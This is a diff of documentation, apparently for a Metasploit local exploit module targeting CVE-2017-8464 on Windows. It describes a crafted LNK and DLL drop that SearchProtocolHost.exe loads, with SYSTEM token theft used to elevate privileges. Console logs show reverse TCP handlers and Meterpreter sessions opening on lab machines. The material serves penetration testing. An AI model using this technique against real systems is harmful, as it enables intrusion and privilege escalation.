1
1
## Description
2
- This PR adds a new Windows local exploit version of the existing file
2
+ This module is a Windows local exploit version of the existing file
3
3
format module for CVE-2017 -8464. The module works by dropping the
4
4
specially crafted LNK file and DLL to disk, which causes
5
5
` SearchProtocolHost.exe ` to parse the LNK file and thus load the DLL via
@@ -9,7 +9,7 @@ this can be used to elevate privileges.
9
9
The original DLL template needed some significant reworking to make it
10
10
compatible for execution within ` SearchProtocolHost.exe ` . The payload
11
11
was originally failing in the hollowed child ` rundll32.exe ` process with
12
- a denied error from winsock. I addressed this by checking if the process
12
+ a denied error from winsock. This was addressed by checking if the process
13
13
which loaded the crafted DLL is ` SearchProtocolHost.exe ` and when it is,
14
14
it opens the token of another SYSTEM process and passes it to
15
15
` CreateProcessAsUser ` for the payload to work. When the DLL is loaded
@@ -69,7 +69,7 @@ Exploit target:
69
69
[*] > Ruby Code (13 bytes)
70
70
> run -z
71
71
[*] Exploit running as background job 0.
72
- [*] Started reverse TCP handler on 192.168.135.112:30001
72
+ [*] Started reverse TCP handler on 192.168.135.112:30001
73
73
[*] Sending stage (205379 bytes) to 192.168.134.133
74
74
[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
75
75
> sysinfo
@@ -132,7 +132,7 @@ Exploit target:
132
132
133
133
> run -j
134
134
[*] Exploit running as background job 1.
135
- [*] Started reverse TCP handler on 192.168.135.112:30002
135
+ [*] Started reverse TCP handler on 192.168.135.112:30002
136
136
[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
137
137
[*] Sending stage (205379 bytes) to 192.168.134.133
138
138
[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
0 commit comments